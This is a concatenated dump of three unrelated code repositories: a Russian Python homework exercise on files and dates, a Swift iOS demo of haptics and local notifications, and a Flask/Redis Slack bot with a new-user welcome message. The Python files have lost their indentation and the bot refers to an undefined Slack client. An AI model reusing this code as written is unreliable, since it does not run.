# [
# {'name': 'Маша', 'age': 25, 'job': 'Scientist'},
# {'name': 'Вася', 'age': 8, 'job': 'Programmer'},
# {'name': 'Эдуард', 'age': 48, 'job': 'Big boss'},
# ]
# * Запишите содержимое списка словарей в файл в формате csv
import csv
with open('export.csv', 'w', encoding='utf-8') as myfile:
mylist = [
{'name': 'Маша', 'age': 25, 'job': 'Scientist'},
{'name': 'Вася', 'age': 8, 'job': 'Programmer'},
{'name': 'Эдуард', 'age': 48, 'job': 'Big boss'},
]
fields = ['name', 'age', 'job']
writer = csv.DictWriter(myfile, fields, delimiter=';')
writer.writeheader()
for user in mylist:
writer.writerow(user)<file_sep># Задание
# Скачайте файл по ссылке
# Прочитайте содержимое файла в переменную, подсчитайте длину получившейся строки
# Подсчитайте количество слов в тексте
# Замените точки в тексте на восклицательные знаки
# Сохраните результат в файл referat2.txt
with open('referat.txt', 'r', encoding='utf-8') as myfile:
content = myfile.read()
# Считаю длину строки (кол-во символов)
ln = len(content.replace('\n', ' '))
print(f'Длина текста: {ln}')
# Заменяю точки на воскл знаки
content = content.replace('.', '!')
print (content)
# Считаю кол-во слов
world = 0
for wd in content.split():
if wd != ' ':
world +=1
else:
world +=0
print(f'Общее количество слов в тексте: {world}')
with open('myfile.txt', 'w', encoding='utf-8') as myfile:
myfile.writelines(content)<file_sep>from datetime import datetime, timedelta
# Задание
# Напечатайте в консоль даты: вчера, сегодня, месяц назад
# Превратите строку "01/01/17 12:10:03.234567" в объект datetime
def dates (dt_now, dt_yst, date_dt):
from datetime import datetime, timedelta
dt_now = datetime.now()
delta = timedelta(days = 1)
dt_yst = dt_now - delta
delta_m = timedelta(days = 31)
dt_mnth = dt_now - delta_m
print('Вчера ', dt_yst.strftime('%d.%m.%Y'))
print('Сегодня ', dt_now.strftime('%d.%m.%Y'))
print('Месяц назад ', dt_mnth.strftime('%d.%m.%Y'))
return dt_yst, dt_now, dt_mnth
dates('dt_now', 'dt_yst', 'date_dt')
def dates (date_str='01/01/17 12:10:03.234567'):
# date_str '
date_dt = datetime.strptime(date_str, '%d/%m/%y %I:%M:%S.%f')
print(date_dt)
return date_dt
dates()
|
e99cdb04b829ea2d3560244121b0b1abe0949510
|
[
"Python"
] | 3
|
Python
|
Dilemka/homework-3
|
83937d2b8aae804e12c949c398e50e39db5334ff
|
7234496b809f1b996f57279c985cf89c65e645f9
|
refs/heads/master
|
<file_sep>//
// VibrateButtonVC.swift
// TouchIDExample
//
// Created by <NAME> on 1/4/18.
// Copyright © 2018 <NAME>. All rights reserved.
//
import Foundation
import UIKit
import AudioToolbox
import _SwiftUIKitOverlayShims
import UserNotifications
class ViewController: UIViewController {
var i = 0
@IBAction func vibeButton(_ sender: UIButton) {
if userNameTF.text == "" || passwordTF.text == "" {
sender.shake()
userNameTF.shakeTF()
passwordTF.shakeTF()
//AudioServicesPlaySystemSound(1514)
tapped()
let timer = Timer.scheduledTimer(withTimeInterval: 0.15, repeats: false) { (timer) in
AlertView.alertMessage(view: self, title: "ERROR", message: "Invalid Credentials", numberOfButtons: 0, leftButtonTitle: "Try Again", leftButtonStyle: 0, rightButtonTitle: "", rightButtonStyle: 0)
}
} else {
print("Credentials Are Valid")
}
let content = UNMutableNotificationContent()
content.title = "LIMITED TIME OFFER"
content.subtitle = "30% Off Immuno-boost IV Infusion"
content.body = "Schedule your appointment today!"
content.badge = 1
//content.sound = UNNotificationSound.default()
content.sound = UNNotificationSound(named: "CustomNotificationSound5.5.wav")
let trigger = UNTimeIntervalNotificationTrigger(timeInterval: 10, repeats: false)
let request = UNNotificationRequest(identifier: "timer done", content: content, trigger: trigger)
UNUserNotificationCenter.current().add(request, withCompletionHandler: nil)
AudioServicesPlaySystemSound(1521)
}
@IBOutlet weak var vibrateButton: UIButton!
@IBOutlet weak var userNameTF: UITextField!
@IBOutlet weak var passwordTF: UITextField!
var keyboardIsShown = false
override func viewDidLoad() {
super.viewDidLoad()
userNameTF?.delegate = self
passwordTF?.delegate = self
let generator = UIImpactFeedbackGenerator(style: .heavy)
generator.prepare()
generator.impactOccurred()
UNUserNotificationCenter.current().requestAuthorization(options: [.alert, .sound, .badge]) { (didAllow, error) in
if didAllow {
print("user said yes")
} else {
print("user said no!")
}
}
}
override func viewWillAppear(_ animated: Bool) {
super.viewWillAppear(animated)
subscribeToNotification(.UIKeyboardWillShow, selector: #selector(keyboardWillShow))
subscribeToNotification(.UIKeyboardWillHide, selector: #selector(keyboardWillHide))
subscribeToNotification(.UIKeyboardDidShow, selector: #selector(keyboardDidShow))
subscribeToNotification(.UIKeyboardDidHide, selector: #selector(keyboardDidHide))
}
override func viewWillDisappear(_ animated: Bool) {
super.viewWillDisappear(animated)
unsubscribeFromAllNotifications()
}
@objc func tapped() {
i += 1
print("Running \(i)")
switch i {
case 1:
let generator = UINotificationFeedbackGenerator()
generator.prepare()
generator.notificationOccurred(.error)
AudioServicesPlaySystemSound(1517) // Actuate `Peek` feedback (weak boom)
case 2:
let generator = UINotificationFeedbackGenerator()
generator.prepare()
generator.notificationOccurred(.success)
AudioServicesPlaySystemSound(1518) // Actuate `Pop` feedback (strong boom)
case 3:
let generator = UINotificationFeedbackGenerator()
generator.prepare()
generator.notificationOccurred(.warning)
AudioServicesPlaySystemSound(1516) // Actuate `Nope` feedback (series of three weak booms)
case 4:
let generator = UIImpactFeedbackGenerator(style: .light)
generator.prepare()
generator.impactOccurred()
AudioServicesPlaySystemSound(1515) // Actuate `Peek` feedback (weak boom)
case 5:
let generator = UIImpactFeedbackGenerator(style: .medium)
generator.prepare()
generator.impactOccurred()
AudioServicesPlaySystemSound(1519) // Actuate `Nope` feedback (series of three weak booms)
AudioServicesPlaySystemSound(1520) // Actuate `Nope` feedback (series of three weak booms)
case 6:
let generator = UIImpactFeedbackGenerator(style: .heavy)
generator.prepare()
generator.impactOccurred()
AudioServicesPlaySystemSound(1521) // Actuate `Nope` feedback (series of three weak booms)
case 7:
let generator = UIImpactFeedbackGenerator(style: .heavy)
generator.prepare()
generator.impactOccurred()
AudioServicesPlaySystemSound(1521) // Actuate `Nope` feedback (series of three weak booms)
default:
let generator = UISelectionFeedbackGenerator()
generator.selectionChanged()
i = 0
}
}
}
extension UIButton {
func shake() {
let animation = CAKeyframeAnimation(keyPath: "transform.translation.x")
animation.timingFunction = CAMediaTimingFunction(name: kCAMediaTimingFunctionLinear)
animation.duration = 0.6
animation.values = [-20.0, 20.0, -20.0, 20.0, -10.0, 10.0, -5.0, 5.0, 0.0 ]
layer.add(animation, forKey: "shake")
}
}
extension UITextField {
func shakeTF() {
let animation = CAKeyframeAnimation(keyPath: "transform.translation.x")
animation.timingFunction = CAMediaTimingFunction(name: kCAMediaTimingFunctionLinear)
animation.duration = 0.6
animation.values = [-20.0, 20.0, -20.0, 20.0, -10.0, 10.0, -5.0, 5.0, 0.0 ]
layer.add(animation, forKey: "shakeTF")
}
}
// MARK: - LoginVC: UITextFieldDelegate
extension ViewController: UITextFieldDelegate {
// MARK: UITextFieldDelegate
func textFieldShouldReturn(_ textField: UITextField) -> Bool {
userNameTF?.resignFirstResponder()
passwordTF?.resignFirstResponder()
return true
}
// // MARK: Show/Hide Keyboard
//
@objc func keyboardWillShow(_ notification: Notification) {
if !keyboardIsShown {
view.frame.origin.y = -keyboardHeight(notification) / 2.6
}
}
@objc func keyboardWillHide(_ notification: Notification) {
if keyboardIsShown {
view.frame.origin.y = 0
}
}
@objc func keyboardDidShow(_ notification: Notification) {
keyboardIsShown = true
}
@objc func keyboardDidHide(_ notification: Notification) {
keyboardIsShown = false
}
func keyboardHeight(_ notification: Notification) -> CGFloat {
let userInfo = (notification as NSNotification).userInfo
let keyboardSize = userInfo![UIKeyboardFrameEndUserInfoKey] as! NSValue
return keyboardSize.cgRectValue.height
}
}
// MARK: - LoginVC (Notifications)
private extension ViewController {
func subscribeToNotification(_ notification: NSNotification.Name, selector: Selector) {
NotificationCenter.default.addObserver(self, selector: selector, name: notification, object: nil)
}
func unsubscribeFromAllNotifications() {
NotificationCenter.default.removeObserver(self)
}
}
<file_sep>//
// Alerts.swift
// LocalNotificationExample
//
// Created by <NAME> on 1/6/18.
// Copyright © 2018 <NAME>. All rights reserved.
//
import Foundation
import UIKit
class AlertView {
class func alertMessage(view: UIViewController, title: String, message: String, numberOfButtons: Int, leftButtonTitle: String, leftButtonStyle: Int, rightButtonTitle: String, rightButtonStyle: Int) {
let alertController = UIAlertController(title: title, message: message, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: leftButtonTitle, style: UIAlertActionStyle(rawValue: leftButtonStyle)!, handler: nil))
if numberOfButtons > 1 {
alertController.addAction(UIAlertAction(title: rightButtonTitle, style: UIAlertActionStyle(rawValue: rightButtonStyle)!, handler: nil))
}
view.present(alertController, animated: true, completion: nil)
}
}
|
025764503fbad013c969340f5d7f7167d07e22cd
|
[
"Swift"
] | 2
|
Swift
|
SeanGoldsborough/LocalNotificationExample
|
41b3aacc7531c7a7d47cc1890c6516711dbfc81f
|
3f726eb03b3a6cd6db3b00f9d811ebe3bb2bc101
|
refs/heads/master
|
<repo_name>eccarrilloe/Ms-Pacman<file_sep>/src/pacman/GameState.java
package pacman;
import java.awt.BasicStroke;
import java.awt.Color;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.Stroke;
import java.util.Collection;
import java.util.HashMap;
import java.util.Iterator;
import java.util.ArrayList;
import games.math.Vector2d;
/**
* User: Simon Date: 09-Mar-2007 Time: 11:33:00 The purpose of this is to
* capture the state of the game to give to a decision making agent.
* <p/>
* The state is based on analysing a screen image, and may give incorrect
* readings at any given instant - for example, power pills flash, but no
* account is taken of this, so if a power pill is still in the game, but the
* screen was captured while it was in the 'blinked off' state, then the
* GameState will indicate that there is no power pill at that location (in
* fact, the power pills flash in unison, so it could appear that there were no
* power pills, when in fact they were all present in the true game state.
*/
public class GameState implements Drawable {
// might as well have separate collections for each item?
static int strokeWidth = 5;
static Stroke stroke = new BasicStroke(strokeWidth, BasicStroke.CAP_ROUND, BasicStroke.JOIN_MITER);
Collection<ConnectedSet> pills;
ArrayList<ConnectedSet> powerPills;
Collection<ConnectedSet> ghosts;
Agent agent;
Vector2d closestObjective;
Vector2d tmp;
int iterations = 0;
int objectiveState;
int powerPillsEaten;
int nTest;
static int nFeatures = 13;
double[] vec;
static HashMap<Integer, Integer> ghostLut = new HashMap<Integer, Integer>();
static {
// map these into positions of ghost rather than anything else -
ghostLut.put(MsPacInterface.blinky, 0);
ghostLut.put(MsPacInterface.inky, 1);
ghostLut.put(MsPacInterface.pinky, 2);
ghostLut.put(MsPacInterface.sue, 3);
ghostLut.put(MsPacInterface.edible, 4);
}
public GameState() {
agent = new Agent();
tmp = new Vector2d();
vec = new double[nFeatures];
powerPills = new ArrayList<>();
objectiveState = 0;
powerPillsEaten = 0;
iterations = 0;
nTest = 0;
}
public void reset() {
closestObjective = null;
}
public void update(ConnectedSet cs, int[] pix){
if (cs.isPacMan()) {
agent.update(cs, pix);
} else if (cs.powerPill()) {
ConnectedSet powerPill = new ConnectedSet(cs);
if (!powerPills.contains(powerPill)) {
powerPills.add(powerPill);
}
}
/**
* Pruebas Realizadas:
* nTest = 1 -> Ir hasta la esquina superior izquierda
* nTest = 2 -> Perseguir a Inky
* nTest = 3 -> Cruzar un tunel repetidamente
*/
nTest = 3;
if (nTest == 1) {
closestObjective = new Vector2d(100.0, 100.0);
} else if (nTest == 2) {
if (cs.ghostLike() && cs.fg == MsPacInterface.inky) {
tmp.set(cs.x, cs.y);
if (closestObjective == null) {
closestObjective = new Vector2d(tmp);
} else if (tmp.dist(agent.cur) < closestObjective.dist(agent.cur)) {
closestObjective.set(tmp);
}
}
} else if (nTest == 3) {
Vector2d rightTunnel = new Vector2d(200.0, 160.0);
if (objectiveState == 0) {
closestObjective = rightTunnel;
if (Math.abs(agent.cur.x - closestObjective.x) < 5 && Math.abs(agent.cur.y - closestObjective.y) < 5) {
objectiveState = 1;
}
}
}
}
public void draw(Graphics gg, int w, int h) {
// To change body of implemented methods use File | Settings | File
// Templates.
Graphics2D g = (Graphics2D) gg;
if (agent != null) {
agent.draw(g, w, h);
}
if (closestObjective != null && agent != null) {
g.setStroke(stroke);
g.setColor(Color.cyan);
g.drawLine((int) closestObjective.x, (int) closestObjective.y, (int) agent.cur.x, (int) agent.cur.y);
}
}
}
<file_sep>/README.md
# Ms-Pacman
Proyecto de Sistemas Inteligentes - Ms Pacman.
## Usando Eclipse
Abra la carpeta de ms_pacman para trabajar con el proyecto. La clase
principal para correrlo es pacman.MsPacInterface.
## Usando Consola
### Compilar
Para compilar, desde la carpeta raíz del proyecto use el siguiente
comando:
```{bash}
javac pacman/MsPacInterface.java
```
### Para ejecutar
Use el siguiente comando:
```{bash}
java pacman.MsPacInterface
```
## Notas importantes
> Objetivo: Seguir los siguientes estados:
> 1- Buscar y Comer PowerPill mas cercana
> 2- Buscar y Comer Fantasma mas cercano
> Repetir hasta acabar con PowerPills o morir.
**Nota:** El color de las victimas es -14408449
Se debe procesar la imagen representada por la matríz de enteros int [w][h] dónde w =? y h = ?.
Se cuenta con los objetos: Ghosts, pills, power pills y Ms.pacman (the Agent).
El agente cuenta con una función que le permite conocer su distancia a cada una de las paredes más cercanas. Estos valores se guardan en un arreglo d.
Creo que debemos codificar nuestro método en la clase Agent.java modificar move(GameState gs) y eval(vector2d pos , gs) eval recibe como parámetros la posición del agente(pos) y el estado del tablero (gs).
Podemos establecer la posición de inicio de Ms.Pacman. Debe ser el centro de la ventana... Nos encargaríamos de modificar las constantes:
// change these to suit your screen position
static int left = 530;
static int top = 274;
##Recursos
http://cscourse.essex.ac.uk/cig/2005/papers/p1058.pdf
www.csse.uwa.edu.au/cig08/Proceedings/papers/8036.pdf
<file_sep>/src/pacman/SimpleController.java
package pacman;
/**
* User: Simon
* Date: 09-Mar-2007
* Time: 11:39:26
* This class finds the closest pill, and tries to eat it.
* Start very simple:
*
* find velocity by comparing current position with previous position
* also consider previous output
*
* if the previous output led to zero velocity, might want to do something else?
*
* or even simpler, find the direction to the closest pill
*
*/
public class SimpleController {
int prevAction = -1;
public int getAction(GameState gs, PacMover pm) {
Agent pac = null;
// get the position of the agent
return 0;
}
}
<file_sep>/src/pacman/TestMonitor.java
package pacman;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.PrintWriter;
/**
* User: Simon
* Date: 13-Oct-2007
* Time: 18:51:28
*
* The purpose of this class is to consistently take in the game state,
* including the position of the agent, and also the selected move to
* each point in time, and work out the delays between each
*
*/
public class TestMonitor {
long start;
int limit = 30000;
int n = 0;
PrintWriter bw;
public TestMonitor() throws Exception {
start = System.currentTimeMillis();
bw = new PrintWriter(new FileWriter("log.txt"));
}
public void log(int dir, GameState gs) throws Exception {
long elapsed = System.currentTimeMillis() - start;
bw.println(dir + "\t " + gs.agent.x + "\t " + elapsed);
start = System.currentTimeMillis();
n++;
if (n > limit) {
bw.close();
System.exit(0);
}
}
// public int getMove(GameState gs) {
//
// }
//
}
<file_sep>/src/pacman/ColTest.java
package pacman;
/**
* User: Simon
* Date: 08-Mar-2007
* Time: 15:50:53
*/
public class ColTest {
public static void main(String[] args) {
System.out.println(MsPacInterface.pill);
System.out.println(MsPacInterface.pill & 0xFFFFFF);
System.out.println(0xFF000000);
}
}
<file_sep>/src/pacman/LeftRight.java
package pacman;
/**
* User: Simon
* Date: 13-Oct-2007
* Time: 22:49:32
*/
public class LeftRight implements PacAgent, Constants {
int i;
static int period = 20;
public LeftRight() {
i = 0;
}
public int move(GameState gs) {
i++;
int test = (i / period) % 3;
if (test == 0) {
return NEUTRAL;
} else if (test == 1) {
return RIGHT;
} else {
return LEFT;
}
}
}
|
a3cbe150af3609adc96f3cf1ffa217149a6c01a5
|
[
"Markdown",
"Java"
] | 6
|
Java
|
eccarrilloe/Ms-Pacman
|
99549a42750c84131be15e40fff26cfa54060086
|
c7cacab7ca43d4c1176f90b03557473b152b577a
|
refs/heads/master
|
<repo_name>cyancey/secret_coffee<file_sep>/app.rb
require 'sinatra'
require 'sinatra/activerecord'
require 'active_support/all'
require 'haml'
require 'httparty'
require 'dotenv'
require 'sinatra/flash'
enable :sessions
Dotenv.load
def now
Time.now.in_time_zone("Pacific Time (US & Canada)")
end
class SecretCoffeeSetting < ActiveRecord::Base
validates :range_start_time, presence: true
validates :range_length_minutes, presence: true
end
class SecretCoffee < ActiveRecord::Base
validate :one_secret_coffee_run_per_day, on: :create
belongs_to :coffee_quote
def self.set_coffee_time
secret_coffee_setting = SecretCoffeeSetting.last
secret_coffee_hour = secret_coffee_setting.range_start_time.in_time_zone("Pacific Time (US & Canada)").hour
secret_coffee_minute = secret_coffee_setting.range_start_time.in_time_zone("Pacific Time (US & Canada)").min
range_length = secret_coffee_setting.range_length_minutes
coffee_time = Time.new(now.year, now.month, now.day, secret_coffee_hour, secret_coffee_minute) + rand(range_length).minutes
SecretCoffee.create(time: coffee_time, coffee_quote: CoffeeQuote.random)
end
def self.secret_coffee_time?
todays_secret_coffees = SecretCoffee.where(time: now.beginning_of_day..now.end_of_day)
todays_secret_coffees.map do |secret_coffee|
(now < (secret_coffee.time + 15.minutes)) && (now > secret_coffee.time)
end.include?(true)
end
def self.scheduled_today
@secret_coffee = SecretCoffee.where(time: now.beginning_of_day..now.end_of_day).last
!@secret_coffee.nil?
end
def self.already_happened_today
@secret_coffee = SecretCoffee.where(time: now.beginning_of_day..now.end_of_day).last
if @secret_coffee
Time.now > (@secret_coffee.time + 15.minutes)
else
false
end
end
def self.status_message
if SecretCoffee.secret_coffee_time?
message = "It's secret coffee time."
elsif SecretCoffee.already_happened_today
message = "It's not secret coffee time. Today's run already happened."
elsif SecretCoffee.scheduled_today
message = "It's not secret coffee time. A run is scheduled for today."
else
message = "It's not secret coffee time. A run is not scheduled for today."
end
end
def to_slack_message
message = "Drop what you're doing. It's time for secret coffee."
quote = self.coffee_quote
if self.coffee_quote
message << "\n\n#{quote.to_slack_message}"
end
message
end
def self.send_slack_notification_if_time
now = Time.now.in_time_zone("Pacific Time (US & Canada)")
todays_coffee_runs = SecretCoffee.where(time: now.beginning_of_day..now.end_of_day)
send_notification = todays_coffee_runs.map do |secret_coffee|
!secret_coffee.notification_sent && (secret_coffee.time <= now)
end.include?(true)
if send_notification
Slack.post_message(todays_coffee_runs.last.to_slack_message)
todays_coffee_runs.each {|secret_coffee| secret_coffee.update_attributes(notification_sent: true)}
true
else
false
end
end
def self.emergency
unless SecretCoffee.last.notification_sent
SecretCoffee.last.update_attributes(time: Time.now)
end
if SecretCoffee.send_slack_notification_if_time
'Emergency Secret Coffee Initiated'
else
'Emergency Secret Coffee Request Rejected'
end
end
private
def one_secret_coffee_run_per_day
coffee_time = self.time.in_time_zone("Pacific Time (US & Canada)")
coffee_runs_today = SecretCoffee.where(time: coffee_time.beginning_of_day..coffee_time.end_of_day)
if coffee_runs_today.size > 0
puts "Couldn't create new secret coffee run"
coffee_runs_today.each do |secret_coffee|
p secret_coffee.as_json
end
errors.add(:base, 'You can only do one secret coffee run per day')
end
end
end
class CoffeeQuote < ActiveRecord::Base
has_many :secret_coffees
def self.random
CoffeeQuote.offset(rand(CoffeeQuote.count)).first
end
def to_slack_message
"\"#{self.quote}\"\n- #{self.said_by}"
end
end
module Slack
extend self
def post_message(message)
HTTParty.post(ENV['SLACK_WEBHOOK'], body: {text: message}.to_json)
end
end
def convert_hour_for_no_period(hour, period)
if hour == 12
hour
elsif period == 'PM'
hour + 12
else
hour
end
end
def convert_hour_for_use_with_period(hour)
if hour > 12
hour - 12
else
hour
end
end
def time_period(hour)
if hour > 11
'PM'
else
'AM'
end
end
get '/' do
now = Time.now.in_time_zone("Pacific Time (US & Canada)")
@secret_coffee_time = SecretCoffee.secret_coffee_time?
@secret_coffee_status_message = SecretCoffee.status_message
@secret_coffee = SecretCoffee.where(time: now.beginning_of_day..now.end_of_day).last
@quote = @secret_coffee.coffee_quote if @secret_coffee
haml :home
end
# get '/admin' do
# if params[:pw] == ENV['ADMIN_PASSWORD']
# @secret_coffees = SecretCoffee.order(:time)
# haml :admin
# else
# redirect to('/')
# end
# end
get '/api' do
content_type :json
now = Time.now.in_time_zone("Pacific Time (US & Canada)")
@secret_coffee = SecretCoffee.where(time: now.beginning_of_day..now.end_of_day).last
if !SecretCoffee.secret_coffee_time?
{ secret_coffee_time: false,
scheduled_today: SecretCoffee.scheduled_today,
already_happened: SecretCoffee.already_happened_today,
status_message: SecretCoffee.status_message }.to_json
else
@quote = @secret_coffee.coffee_quote
if @quote
{ secret_coffee_time: true,
status_message: SecretCoffee.status_message,
coffee_quote: {quote: @quote.quote,
said_by: @quote.said_by}}.to_json
else
{ secret_coffee_time: true,
status_message: SecretCoffee.status_message,
coffee_quote: nil}.to_json
end
end
end
get '/slack_request' do
puts params
if params['text'] == 'emergency'
content_type :text
SecretCoffee.emergency
else
content_type :text
SecretCoffee.status_message
end
end
get '/settings' do
secret_coffee_setting = SecretCoffeeSetting.last
if secret_coffee_setting
start_time = secret_coffee_setting.range_start_time.in_time_zone("Pacific Time (US & Canada)")
end_time = start_time + secret_coffee_setting.range_length_minutes.minutes
@start_hour = convert_hour_for_use_with_period(start_time.hour)
@start_minute = start_time.min
@start_period = time_period(start_time.hour)
@end_hour = convert_hour_for_use_with_period(end_time.hour)
@end_minute = end_time.min
@end_period = time_period(end_time.hour)
else
@start_hour = nil
@start_minute = nil
@start_period = nil
@end_hour = nil
@end_minute = nil
@end_period = nil
end
haml :settings
end
post '/settings' do
puts params
start_minute = params['start_minute'].to_i
start_period = params['start-period']
start_hour = convert_hour_for_no_period(params['start-hour'].to_i, start_period)
end_minute = params['end-minute'].to_i
end_period = params['end-period']
end_hour = convert_hour_for_no_period(params['end-hour'].to_i, end_period)
start_time = Time.new(2000, 1, 1, start_hour, start_minute)
end_time = Time.new(2000, 1, 1, end_hour, end_minute)
if start_time > end_time
flash[:error] = 'Start time cannot be before end time.'
else
minute_difference = (end_time - start_time) / 60
secret_coffee_setting = SecretCoffeeSetting.new(range_start_time: start_time,
range_length_minutes: minute_difference)
if secret_coffee_setting.save
flash[:success] = 'Save Successful'
else
flash[:error] = secret_coffee_setting.errors
end
end
redirect to('/settings')
end
<file_sep>/Gemfile
source 'https://rubygems.org'
ruby "2.0.0"
gem 'sinatra'
gem 'activerecord'
gem 'sinatra-activerecord'
gem 'sinatra-flash'
gem 'sinatra-redirect-with-flash'
gem 'rake'
gem 'awesome_print'
gem 'activesupport'
gem 'shotgun'
gem 'haml'
gem 'httparty'
gem 'dotenv'
group :development do
gem 'sqlite3'
gem 'tux'
end
group :production do
gem 'pg'
end<file_sep>/README.md
##Secret Coffee
Each day my coworkers and I would take a coffee break during the afternoon. Instead of just going when we felt like it, I decided to build Secret Coffee to randomly schedule a time for us to go during a pre-set window and alert our team via Slack. The alerts include a coffee-related quote.
Secret Coffee includes a JSON API with a single endpoint that tells users whether it is Secret Coffee time or not.
Secret Coffee is built using Sinatra, Postgres, and Haml and is deployed on Heroku. A rake task is run once per day to set the coffee break time. Another rake task is run every 10 minutes to check whether it's time for the coffee break and if it is, a notification is pushed to a Slack webhook which alerts the team it's time to go.
[http://secretcoffee.herokuapp.com/](http://secretcoffee.herokuapp.com/)
<file_sep>/db/migrate/20150110052445_add_notification_sent_to_secret_coffee.rb
class AddNotificationSentToSecretCoffee < ActiveRecord::Migration
def up
add_column :secret_coffees, :notification_sent, :boolean, default: false
end
def down
remove_column :secret_coffees, :notification_sent
end
end
<file_sep>/db/migrate/20150110184800_create_coffee_quotes.rb
class CreateCoffeeQuotes < ActiveRecord::Migration
def up
create_table :coffee_quotes do |t|
t.text :quote, null: false
t.string :said_by
t.timestamps null: false
end
change_table :secret_coffees do |t|
t.belongs_to :coffee_quote
end
end
def down
drop_table :coffee_quotes
remove_column :secret_coffees, :coffee_quote_id
end
end
<file_sep>/Rakefile
require './app'
require 'sinatra/activerecord/rake'
namespace :secret_coffee do
desc 'Set secret coffee time for today if weekday'
task :set_time do
now = Time.now.in_time_zone("Pacific Time (US & Canada)")
unless now.wday == 6 || now.wday == 0 #unless today is a Saturday or Sunday
SecretCoffee.set_coffee_time
end
end
desc "Send notification for secret coffee if it hasn't been sent"
task :send_notification_if_coffee_time do
now = Time.now.in_time_zone("Pacific Time (US & Canada)")
todays_coffee_runs = SecretCoffee.where(time: now.beginning_of_day..now.end_of_day)
send_notification = todays_coffee_runs.map do |secret_coffee|
!secret_coffee.notification_sent && (secret_coffee.time <= now)
end.include?(true)
if send_notification
## send notification
Slack.post_message(todays_coffee_runs.last.to_slack_message)
## mark all todays runs as having notifications sent
todays_coffee_runs.each {|secret_coffee| secret_coffee.update_attributes(notification_sent: true)}
end
end
end
<file_sep>/db/migrate/20150201185226_add_secret_coffee_settings.rb
class AddSecretCoffeeSettings < ActiveRecord::Migration
def up
create_table :secret_coffee_settings do |t|
t.datetime :range_start_time
t.integer :range_length_minutes
t.timestamps
end
end
def down
drop_table :secret_coffee_settings
end
end
|
81e9e65dfbdc9b5e234ca7a4afb27d6f3d4e080d
|
[
"Markdown",
"Ruby"
] | 7
|
Ruby
|
cyancey/secret_coffee
|
aa6e9128c77f37d38cb1eb7c3632eb788d4c86cc
|
068ea99ddc798285a43c890445e342340b3ba083
|
refs/heads/master
|
<file_sep># Проект Ю Н И Т
Лендинг. Дизайн (PSD) и верстка (HTML, LESS, jQuery).
Сделан для курса обучения верстки сайтов в WebCademy.ru
### Что внутри:
- Оптимизация под декстоп, смартфоны, планшеты. 3 разных разрешения
[**Онлайн демо**](https://omicron-s.github.io/unit)
### Тестировать локально
```
git clone https://github.com/omicron-s/unit.git
```
Открыть index.html
<file_sep>var commentSlider = $('#carousel1');
$(document).ready(function() {
commentSlider.owlCarousel({
items: 1,
dots: false,
nav: false
});
});
$('#sliderRight').click(function() {
commentSlider.trigger('next.owl.carousel');
});
$('#sliderLeft').click(function() {
commentSlider.trigger('prev.owl.carousel');
});
|
53fd5d309ad2642687e52a5367ddc6e9a9717e3f
|
[
"Markdown",
"JavaScript"
] | 2
|
Markdown
|
omicron-s/unit
|
8a47b2f47eba489700725c587a5614947d81b2bb
|
cb284711a22a74546e8a0b9ed322602c3d886bf0
|
refs/heads/master
|
<repo_name>rogerio-sc/Reconhecer_falar_Python<file_sep>/Gravador_de_Voz.py
import speech_recognition
escutar = speech_recognition.Recognizer()
with speech_recognition.Microphone() as caminho:
audio = escutar.listen(caminho)
with open('gravacao.wav', 'wb') as grava:
grava.write(audio.get_wav_data())
<file_sep>/README.md
"# Reconhecer_falar_Python"
Versao do Python 3.8.2
Necessario instalar os pacotes:
PyAudio
SpeechRecognition
Obs: o PyAudio no https://pypi.org/ so funcina em Python 3.6 para instalar na versao superior, podemos usar o https://www.lfd.uci.edu/~gohlke/pythonlibs/ e utlizar o o arquivo whl da sua versao
|
60db4153c7a46ea4a5a816306a57589705733c19
|
[
"Markdown",
"Python"
] | 2
|
Python
|
rogerio-sc/Reconhecer_falar_Python
|
09c8731cc6e54d281f2a4069bb479d92cd481029
|
25b0ce9f11cdea6b37252a368cc836b7421d1508
|
refs/heads/master
|
<repo_name>mlnd/pybot<file_sep>/app.py
import json
import os
import time
from flask import Flask, jsonify, request, redirect, url_for, Response
from redis import StrictRedis
from rq import Queue
from slackclient import SlackClient
from lib.pybot import count_words_at_url, heartbeat
app = Flask(__name__)
redis = StrictRedis(host='redis')
q = Queue(connection=redis)
@app.route('/')
def api_live():
""" root endpoint; serves to notify that the application is live """
return Response(json.dumps({'message' : 'Api is live.'}), 200)
@app.route('/jumpstart')
def jumpstart():
result = q.enqueue(heartbeat)
return Response(json.dumps({'message' : "It's alive!"}), 200)
# @app.route('/fetch_jobs')
# def fetch_jobs():
#
@app.route('/get_users')
def get_users():
users = this_slack_client.api_call("users.list")
current_users = {user['id']:user['name'] for user in users['members']}
for user_id, user_name in current_users.items():
redis.set(user_id, user_name)
return Response(json.dumps({'message' : 'Got users from slack'}), 200)
@app.route('/read_users')
def read_users():
user_keys = redis.keys()
app.logger.info(user_keys)
return Response(json.dumps({'message' : 'Read users from redis'}), 200)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9000, debug=True)
<file_sep>/requirements.txt
Flask
honcho
psutil
redis
rq
slackclient
<file_sep>/Dockerfile
FROM python:onbuild
ENTRYPOINT ["python"]
<file_sep>/lib/rq-settings.py
import os
REDIS_URL = 'redis://'+os.environ['REDIS_PORT_6379_TCP_ADDR']+':6379'
<file_sep>/README.md
# pybot
Launch the cluster.
```
$ make
```
Then ping it at `/jumpstart` to get the heartbeat going.
```
$ curl http://localhost:9000/jumpstart
```
<file_sep>/lib/pybot.py
import requests
import time
from redis import StrictRedis
from rq import Queue
from slackclient import SlackClient
new_user_message = """
Hey there, since you're new here, have a look at our Welcome Document:
<https://mlnd.slack.com/files/geekman2/F1U3FJ883/Welcome_to_the_Team>
I know this is an automated response, but we honestly care, which is why we made it.
Enjoy your time here and feel free to discuss.
Some popular channels are <#C1XKFQ3FE|algorithms>, <#C1G4M943B|datawrangling>, <#C0K6TTRCG|deeplearning>, and <#C0HU17DPE|kaggle>.
When you are ready check out <#C0EQ8SUF6|supervised-learning>, <#C0EQKMUQN|unsupervised-learning>, and <#C0K448LBC|reinforcementlearning>
Ask for help with a project here: <#C216N6XSL|p0-introduction>, <#C216N4ATA|p1-boston-housing>, <#C0EQFGYU8|p2-student-interventi>, <#C0M9K8K5M|p3-customer_segments>, <#C21583TEX|p4-train-self-driving>
"""
redis = StrictRedis(host='redis')
q = Queue(connection=redis)
def heartbeat():
q.enqueue(heartbeat)
q.enqueue(count_words_at_url, 'http://google.com')
requests.get('http://requestb.in/1f5ncty1')
time.sleep(5)
return "bump bump"
